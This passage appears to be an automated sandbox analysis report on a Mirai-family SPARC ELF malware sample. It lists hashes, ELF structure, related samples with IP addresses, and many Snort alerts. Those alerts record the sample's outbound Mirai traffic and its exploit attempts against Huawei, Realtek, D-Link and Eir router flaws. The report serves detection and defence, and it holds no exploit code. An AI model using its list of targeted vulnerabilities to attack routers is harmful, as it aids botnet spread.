	T005H0jdjS.elf	Get hash	malicious	Browse	117.188.149.156
	http://china.cn	Get hash	malicious	Browse	112.34.112.222
	http://cdn.examhome.net	Get hash	malicious	Browse	39.156.68.163
	f2JIEfDod9.elf	Get hash	malicious	Browse	117.187.200.235
	7oElHDhfdA.elf	Get hash	malicious	Browse	112.27.76.199
	ako1Zf5E6P.elf	Get hash	malicious	Browse	39.156.128.80
	X9UTRDrR3u.elf	Get hash	malicious	Browse	39.157.9.176
	jtNOA2W1To.elf	Get hash	malicious	Browse	39.141.162.7
	bG0Z5Wgzt5.elf	Get hash	malicious	Browse	183.218.68.42
	BodjwSklVa.exe	Get hash	malicious	Browse	183.253.161.169
	http://www.fairportcapitalinc.com/	Get hash	malicious	Browse	39.156.68.163
	DFQqc6A9yS.elf	Get hash	malicious	Browse	39.132.170.225
CORBINA-ASOJSCVimpelcomRU	YeDwhgzK2r.elf	Get hash	malicious	Browse	95.28.117.26
	AZBdEe85jU.elf	Get hash	malicious	Browse	85.21.58.62
	Z8denVNHpJ.elf	Get hash	malicious	Browse	2.94.177.79
	PS18evDn7s.elf	Get hash	malicious	Browse	85.21.71.47
	7oElHDhfdA.elf	Get hash	malicious	Browse	95.29.14.175
	7uOVw0kjLY.elf	Get hash	malicious	Browse	95.24.169.241
	7EZcMORI33.elf	Get hash	malicious	Browse	78.107.190.137
	Q4rmBnX2NT.elf	Get hash	malicious	Browse	85.21.71.60
	a2hg56YL8y.elf	Get hash	malicious	Browse	95.28.117.25
	BDGCZlR2YL.elf	Get hash	malicious	Browse	2.93.165.206
	0G3JD5UXyl.elf	Get hash	malicious	Browse	95.24.170.108
	xsbHyvxCgs.elf	Get hash	malicious	Browse	78.107.190.124
	x86-20221013-0611.elf	Get hash	malicious	Browse	37.144.25.230
	NmgshxQv7g.elf	Get hash	malicious	Browse	128.72.30.95
	kiFWEWjTPk.exe	Get hash	malicious	Browse	37.144.217.172
	yAczmAdl49.elf	Get hash	malicious	Browse	95.24.169.233
	DRL8J3CIbk.elf	Get hash	malicious	Browse	89.113.205.129
	cdDHJ7f6r5.elf	Get hash	malicious	Browse	95.24.169.233
	4NakbgBoDV.elf	Get hash	malicious	Browse	37.145.99.134
	ymIATNgbUU.elf	Get hash	malicious	Browse	2.93.60.219

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.296373513373018
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	fMB6uAXjd0.elf
File size:	88440
MD5:	e8a738a14a114c60324a7cbfb61730bd
SHA1:	f152928b44a9025929b905e8d2e5c7b258d6b98e
SHA256:	fb178c4ffa1bd9d6b872187f35a1b4330e58dc83bff5b633bd1e4ff0c114c2d0
SHA512:	0173bf1b67314fb2d1827026ddbb9eb5c7c2dbc025fa28e570d0eabcd09dd47903c27cd0b11d5b6dcea43eaa4b568925ca5dd8b5b8768abfaaf61dd8a66550ed
SSDEEP:	1536:BsjSSSz5QjIlZWUNT6SmPcnsPYsTSG6fQl+16PawWu6u:6jbRD90nyYgvq1c
TLSH:	9A836C32AD7A3D57C1C1A4BA12F70361F1F2174A35E8C22D7DB10E1DEF58A60292767A
File Content Preview:	.ELF...........................4..W......4. ...(......................SX..SX..............S\..S\..S\...L...l........dt.Q................................@..(....@.K.................#.....c...`.....!.....#t..@.....".........`......$#t..#t..@...........`....

Static ELF Info

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0x12ca4	0x0	0x6	AX	4
.fini	PROGBITS	0x22d54	0x12d54	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x22d68	0x12d68	0x25f0	0x0	0x2	A	8
.ctors	PROGBITS	0x3535c	0x1535c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x35364	0x15364	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x35370	0x15370	0x438	0x0	0x3	WA	8
.bss	NOBITS	0x357a8	0x157a8	0x420	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x157a8	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x15358	0x15358	6.3214	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x1535c	0x3535c	0x3535c	0x44c	0x86c	3.3197	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.2383.169.5.15443118802846380 10/23/22-17:57:01.341530	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43118	80	192.168.2.23	83.169.5.154
192.168.2.23195.77.239.10450098802846457 10/23/22-17:58:21.709517	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50098	80	192.168.2.23	195.77.239.104
192.168.2.23188.66.75.17447020802846457 10/23/22-17:58:07.972266	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47020	80	192.168.2.23	188.66.75.174
192.168.2.2388.221.153.18655382802027121 10/23/22-17:57:13.448584	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	55382	80	192.168.2.23	88.221.153.186
192.168.2.2393.188.246.18639222802841623 10/23/22-17:56:53.628982	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39222	80	192.168.2.23	93.188.246.186
192.168.2.2389.210.138.12548964802846457 10/23/22-17:58:10.349893	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48964	80	192.168.2.23	89.210.138.125
192.168.2.23178.62.200.14141160802846380 10/23/22-17:58:27.467122	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41160	80	192.168.2.23	178.62.200.141
192.168.2.2382.157.21.19744928802846380 10/23/22-17:57:55.462907	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44928	80	192.168.2.23	82.157.21.197
192.168.2.2386.120.194.18837138802846380 10/23/22-17:58:19.944979	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37138	80	192.168.2.23	86.120.194.188
192.168.2.2395.79.48.17445426802027121 10/23/22-17:57:36.434806	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	45426	80	192.168.2.23	95.79.48.174
192.168.2.2346.29.250.14645486802846457 10/23/22-17:57:53.195768	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45486	80	192.168.2.23	46.29.250.146
192.168.2.2395.163.80.19756796802027121 10/23/22-17:56:55.629477	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	56796	80	192.168.2.23	95.163.80.197
192.168.2.2389.22.112.18335916802846457 10/23/22-17:57:55.908028	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35916	80	192.168.2.23	89.22.112.183
192.168.2.2383.1.194.4741534802846380 10/23/22-17:58:31.017754	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41534	80	192.168.2.23	83.1.194.47
192.168.2.2388.99.138.11735390802027121 10/23/22-17:56:51.035586	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	35390	80	192.168.2.23	88.99.138.117
192.168.2.2352.40.241.15145210802841623 10/23/22-17:57:20.230013	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45210	80	192.168.2.23	52.40.241.151
192.168.2.23213.16.50.17051602802846380 10/23/22-17:56:58.195822	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51602	80	192.168.2.23	213.16.50.170
192.168.2.23213.238.59.18058408802846380 10/23/22-17:57:54.109941	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58408	80	192.168.2.23	213.238.59.180
192.168.2.23178.115.247.1737470802846380 10/23/22-17:57:27.993436	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37470	80	192.168.2.23	178.115.247.17
192.168.2.2395.68.25.3137366802027121 10/23/22-17:58:15.253758	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	37366	80	192.168.2.23	95.68.25.31
192.168.2.23112.48.187.1541664802027121 10/23/22-17:58:25.717935	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41664	80	192.168.2.23	112.48.187.15
192.168.2.23104.173.4.1365681275472023548 10/23/22-17:57:55.431713	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56812	7547	192.168.2.23	104.173.4.136
192.168.2.238.219.182.6137142802835222 10/23/22-17:58:09.988784	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37142	80	192.168.2.23	8.219.182.61
192.168.2.2395.168.211.6555322802027121 10/23/22-17:57:43.876716	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	55322	80	192.168.2.23	95.168.211.65
192.168.2.23213.176.44.8249726802846380 10/23/22-17:57:37.999015	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49726	80	192.168.2.23	213.176.44.82
192.168.2.2395.100.239.12337604802027121 10/23/22-17:57:34.527124	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	37604	80	192.168.2.23	95.100.239.123
192.168.2.23206.249.235.6154176802846380 10/23/22-17:57:29.944319	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54176	80	192.168.2.23	206.249.235.61
192.168.2.2385.128.243.14737520802846457 10/23/22-17:58:01.351031	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37520	80	192.168.2.23	85.128.243.147
192.168.2.2395.156.238.959532802027121 10/23/22-17:57:10.578364	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	59532	80	192.168.2.23	95.156.238.9
192.168.2.2384.137.62.24135770802846457 10/23/22-17:57:18.368357	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35770	80	192.168.2.23	84.137.62.241
192.168.2.23195.9.94.19850198802846457 10/23/22-17:58:21.697652	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50198	80	192.168.2.23	195.9.94.198
192.168.2.2395.217.48.16641132802027121 10/23/22-17:58:27.445125	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41132	80	192.168.2.23	95.217.48.166
192.168.2.2388.249.124.14641718802027121 10/23/22-17:57:05.166994	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41718	80	192.168.2.23	88.249.124.146
192.168.2.2337.109.51.1952366802846457 10/23/22-17:56:51.879347	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52366	80	192.168.2.23	37.109.51.19
192.168.2.23200.94.112.9738864802846380 10/23/22-17:58:17.610079	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38864	80	192.168.2.23	200.94.112.97
192.168.2.23122.254.97.7133850528692027339 10/23/22-17:58:20.061747	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33850	52869	192.168.2.23	122.254.97.71
192.168.2.2384.86.92.6547494802846457 10/23/22-17:57:56.399097	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47494	80	192.168.2.23	84.86.92.65
192.168.2.2388.221.76.11652184802027121 10/23/22-17:56:55.629611	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	52184	80	192.168.2.23	88.221.76.116
192.168.2.2388.221.68.24436880802027121 10/23/22-17:58:09.637346	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	36880	80	192.168.2.23	88.221.68.244
192.168.2.232.18.235.2359882802846457 10/23/22-17:57:28.754342	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59882	80	192.168.2.23	2.18.235.23
192.168.2.23188.128.164.13538398802846457 10/23/22-17:58:07.920925	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38398	80	192.168.2.23	188.128.164.135
192.168.2.23112.48.187.1541692802027121 10/23/22-17:58:25.936044	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41692	80	192.168.2.23	112.48.187.15
192.168.2.2389.32.148.7040040802846457 10/23/22-17:57:38.011306	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40040	80	192.168.2.23	89.32.148.70
192.168.2.2337.211.17.20059408802846457 10/23/22-17:57:29.018473	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59408	80	192.168.2.23	37.211.17.200
192.168.2.2382.223.227.3937670802846380 10/23/22-17:57:07.329740	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37670	80	192.168.2.23	82.223.227.39
192.168.2.2384.7.151.1646206528692027339 10/23/22-17:57:20.270827	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46206	52869	192.168.2.23	84.7.151.16
192.168.2.2395.188.129.15556402802027121 10/23/22-17:57:21.135322	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	56402	80	192.168.2.23	95.188.129.155
192.168.2.23202.90.153.22354594802841623 10/23/22-17:58:14.263264	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54594	80	192.168.2.23	202.90.153.223
192.168.2.23171.238.97.3759214802846457 10/23/22-17:57:59.974478	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59214	80	192.168.2.23	171.238.97.37
192.168.2.2395.101.162.9437358802027121 10/23/22-17:58:27.488384	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	37358	80	192.168.2.23	95.101.162.94
192.168.2.23162.83.143.18849864802841623 10/23/22-17:57:20.378520	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49864	80	192.168.2.23	162.83.143.188
192.168.2.23178.62.89.16655268802846380 10/23/22-17:58:27.260602	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55268	80	192.168.2.23	178.62.89.166
192.168.2.2382.153.27.20945256802846380 10/23/22-17:58:04.029491	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45256	80	192.168.2.23	82.153.27.209
192.168.2.2388.221.47.15358532802027121 10/23/22-17:57:18.680205	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	58532	80	192.168.2.23	88.221.47.153
192.168.2.23213.159.7.240422802846380 10/23/22-17:56:58.194033	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40422	80	192.168.2.23	213.159.7.2
192.168.2.2385.128.198.10960226802846457 10/23/22-17:58:01.351204	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60226	80	192.168.2.23	85.128.198.109
192.168.2.2389.207.18.18044328528692027339 10/23/22-17:57:44.641165	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44328	52869	192.168.2.23	89.207.18.180
192.168.2.2377.163.130.22032968802835222 10/23/22-17:57:04.036152	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32968	80	192.168.2.23	77.163.130.220
192.168.2.23213.168.162.15245228802846380 10/23/22-17:57:48.525193	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45228	80	192.168.2.23	213.168.162.152
192.168.2.2395.217.208.24347200802027121 10/23/22-17:57:13.009624	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	47200	80	192.168.2.23	95.217.208.243
192.168.2.2395.101.158.22234014802027121 10/23/22-17:58:15.265646	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	34014	80	192.168.2.23	95.101.158.222
192.168.2.2361.241.147.22837886802846457 10/23/22-17:57:51.681033	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37886	80	192.168.2.23	61.241.147.228
192.168.2.2354.217.124.4532912802835221 10/23/22-17:58:21.159984	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	32912	80	192.168.2.23	54.217.124.45
192.168.2.2337.72.203.3554416528692027339 10/23/22-17:58:30.504592	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54416	52869	192.168.2.23	37.72.203.35
192.168.2.2388.250.162.18057872802027121 10/23/22-17:57:21.371554	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	57872	80	192.168.2.23	88.250.162.180
192.168.2.23178.33.108.12760484802846380 10/23/22-17:58:13.489022	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60484	80	192.168.2.23	178.33.108.127
192.168.2.2395.175.97.5146688802027121 10/23/22-17:57:34.533379	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	46688	80	192.168.2.23	95.175.97.51
192.168.2.23164.70.13.6947254802846457 10/23/22-17:57:55.976971	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47254	80	192.168.2.23	164.70.13.69
192.168.2.23188.40.218.12641988802846457 10/23/22-17:58:07.896485	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41988	80	192.168.2.23	188.40.218.126
192.168.2.2388.203.186.17933278802027121 10/23/22-17:58:10.598501	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	33278	80	192.168.2.23	88.203.186.179
192.168.2.2395.216.76.15342048802027121 10/23/22-17:58:24.028327	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42048	80	192.168.2.23	95.216.76.153
192.168.2.2372.34.52.1655066802841623 10/23/22-17:56:49.234026	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55066	80	192.168.2.23	72.34.52.16
192.168.2.2385.235.62.23945792802846457 10/23/22-17:57:58.585748	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45792	80	192.168.2.23	85.235.62.239
192.168.2.235.35.226.7539522802846457 10/23/22-17:57:08.374548	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39522	80	192.168.2.23	5.35.226.75
192.168.2.23149.96.34.12645698802841623 10/23/22-17:57:38.794574	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45698	80	192.168.2.23	149.96.34.126
192.168.2.23188.68.47.12635108802846457 10/23/22-17:58:17.658160	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35108	80	192.168.2.23	188.68.47.126
192.168.2.23112.221.131.23353588802027121 10/23/22-17:57:28.559296	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	53588	80	192.168.2.23	112.221.131.233
192.168.2.2380.147.77.6857926802846457 10/23/22-17:56:52.718808	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57926	80	192.168.2.23	80.147.77.68
192.168.2.2380.32.107.3547024802846380 10/23/22-17:58:39.164334	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47024	80	192.168.2.23	80.32.107.35
192.168.2.23206.51.235.12354264802846380 10/23/22-17:57:29.458919	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54264	80	192.168.2.23	206.51.235.123
192.168.2.2388.221.218.5943938802027121 10/23/22-17:57:38.609285	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	43938	80	192.168.2.23	88.221.218.59
192.168.2.2395.160.28.4750678802027121 10/23/22-17:57:49.805107	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	50678	80	192.168.2.23	95.160.28.47
192.168.2.2388.19.134.10941042802027121 10/23/22-17:58:02.124782	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41042	80	192.168.2.23	88.19.134.109
192.168.2.23200.84.15.11857298802841623 10/23/22-17:57:38.963880	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57298	80	192.168.2.23	200.84.15.118
192.168.2.2346.137.174.23059784802846457 10/23/22-17:58:05.463276	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59784	80	192.168.2.23	46.137.174.230
192.168.2.23112.124.15.20654442802027121 10/23/22-17:57:06.686727	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	54442	80	192.168.2.23	112.124.15.206
192.168.2.23213.150.218.4533260802846380 10/23/22-17:58:33.498606	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33260	80	192.168.2.23	213.150.218.45
192.168.2.23171.245.102.22355776528692027339 10/23/22-17:57:24.764501	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55776	52869	192.168.2.23	171.245.102.223
192.168.2.23171.245.102.22355778528692027339 10/23/22-17:57:25.068090	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55778	52869	192.168.2.23	171.245.102.223
192.168.2.2395.179.158.25459052802027121 10/23/22-17:57:34.506424	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	59052	80	192.168.2.23	95.179.158.254
192.168.2.2389.207.18.18044326528692027339 10/23/22-17:57:44.623923	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44326	52869	192.168.2.23	89.207.18.180
192.168.2.23213.176.39.22639328802846380 10/23/22-17:56:47.130746	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39328	80	192.168.2.23	213.176.39.226
192.168.2.2395.100.176.5534038802027121 10/23/22-17:57:23.530626	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	34038	80	192.168.2.23	95.100.176.55
192.168.2.23112.50.105.2350420802027121 10/23/22-17:57:34.483562	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	50420	80	192.168.2.23	112.50.105.23
192.168.2.23123.200.139.11556904802841623 10/23/22-17:58:14.941149	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56904	80	192.168.2.23	123.200.139.115
192.168.2.2395.179.201.5743146802027121 10/23/22-17:57:12.977664	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	43146	80	192.168.2.23	95.179.201.57
192.168.2.23186.211.177.1947854802841623 10/23/22-17:58:37.852912	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47854	80	192.168.2.23	186.211.177.19
192.168.2.235.189.103.9338736802846457 10/23/22-17:56:55.153771	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38736	80	192.168.2.23	5.189.103.93
192.168.2.2384.33.211.2247624802846457 10/23/22-17:57:18.332948	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47624	80	192.168.2.23	84.33.211.22
192.168.2.23122.236.227.17438626528692027339 10/23/22-17:58:14.560497	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38626	52869	192.168.2.23	122.236.227.174
192.168.2.2346.149.136.8253522802846457 10/23/22-17:58:24.203876	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53522	80	192.168.2.23	46.149.136.82
192.168.2.23181.214.43.23638530802846380 10/23/22-17:58:17.412817	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38530	80	192.168.2.23	181.214.43.236
192.168.2.23200.88.174.14153992802846380 10/23/22-17:57:30.680768	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53992	80	192.168.2.23	200.88.174.141
192.168.2.23104.111.37.23347442802841623 10/23/22-17:57:12.707942	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47442	80	192.168.2.23	104.111.37.233
192.168.2.2345.195.13.8751334372152835222 10/23/22-17:57:51.987216	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51334	37215	192.168.2.23	45.195.13.87
192.168.2.23112.213.124.21438934802027121 10/23/22-17:58:25.434539	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	38934	80	192.168.2.23	112.213.124.214
192.168.2.2388.123.26.19642432802027121 10/23/22-17:57:56.401490	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42432	80	192.168.2.23	88.123.26.196
192.168.2.2385.204.125.1342798802846457 10/23/22-17:57:31.246149	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42798	80	192.168.2.23	85.204.125.13
192.168.2.2395.86.88.5645308802027121 10/23/22-17:57:36.438934	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	45308	80	192.168.2.23	95.86.88.56
192.168.2.2384.6.148.3449252372152835222 10/23/22-17:58:21.931096	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49252	37215	192.168.2.23	84.6.148.34
192.168.2.23206.249.241.10854290802846380 10/23/22-17:57:55.604498	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54290	80	192.168.2.23	206.249.241.108
192.168.2.2388.80.170.4334972802027121 10/23/22-17:56:53.231278	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	34972	80	192.168.2.23	88.80.170.43
192.168.2.23206.189.43.11348598802846380 10/23/22-17:57:40.722817	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48598	80	192.168.2.23	206.189.43.113
192.168.2.23200.61.47.20360798802846380 10/23/22-17:57:15.792879	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60798	80	192.168.2.23	200.61.47.203
192.168.2.2380.254.172.25035230802846380 10/23/22-17:57:51.839646	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35230	80	192.168.2.23	80.254.172.250
192.168.2.2388.214.226.17042140802027121 10/23/22-17:58:09.830555	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42140	80	192.168.2.23	88.214.226.170
192.168.2.2380.30.56.4234240802846380 10/23/22-17:57:11.436345	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34240	80	192.168.2.23	80.30.56.42
192.168.2.2386.106.184.13752658802846380 10/23/22-17:57:07.241745	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52658	80	192.168.2.23	86.106.184.137
192.168.2.23112.167.187.22938242802027121 10/23/22-17:56:58.388006	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	38242	80	192.168.2.23	112.167.187.229
192.168.2.23181.31.102.22742032802835221 10/23/22-17:57:28.350931	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	42032	80	192.168.2.23	181.31.102.227
192.168.2.2389.133.92.21345654802846457 10/23/22-17:57:07.102618	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45654	80	192.168.2.23	89.133.92.213
192.168.2.2380.133.216.19254798802846457 10/23/22-17:57:09.746440	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54798	80	192.168.2.23	80.133.216.192
192.168.2.2368.183.20.5556204802835221 10/23/22-17:57:16.524200	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	56204	80	192.168.2.23	68.183.20.55
192.168.2.2346.47.178.14036312802846457 10/23/22-17:58:23.968200	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36312	80	192.168.2.23	46.47.178.140
192.168.2.2389.17.195.15235104802846457 10/23/22-17:56:45.537309	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35104	80	192.168.2.23	89.17.195.152
192.168.2.2354.186.196.19739546802835222 10/23/22-17:58:21.330242	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39546	80	192.168.2.23	54.186.196.197
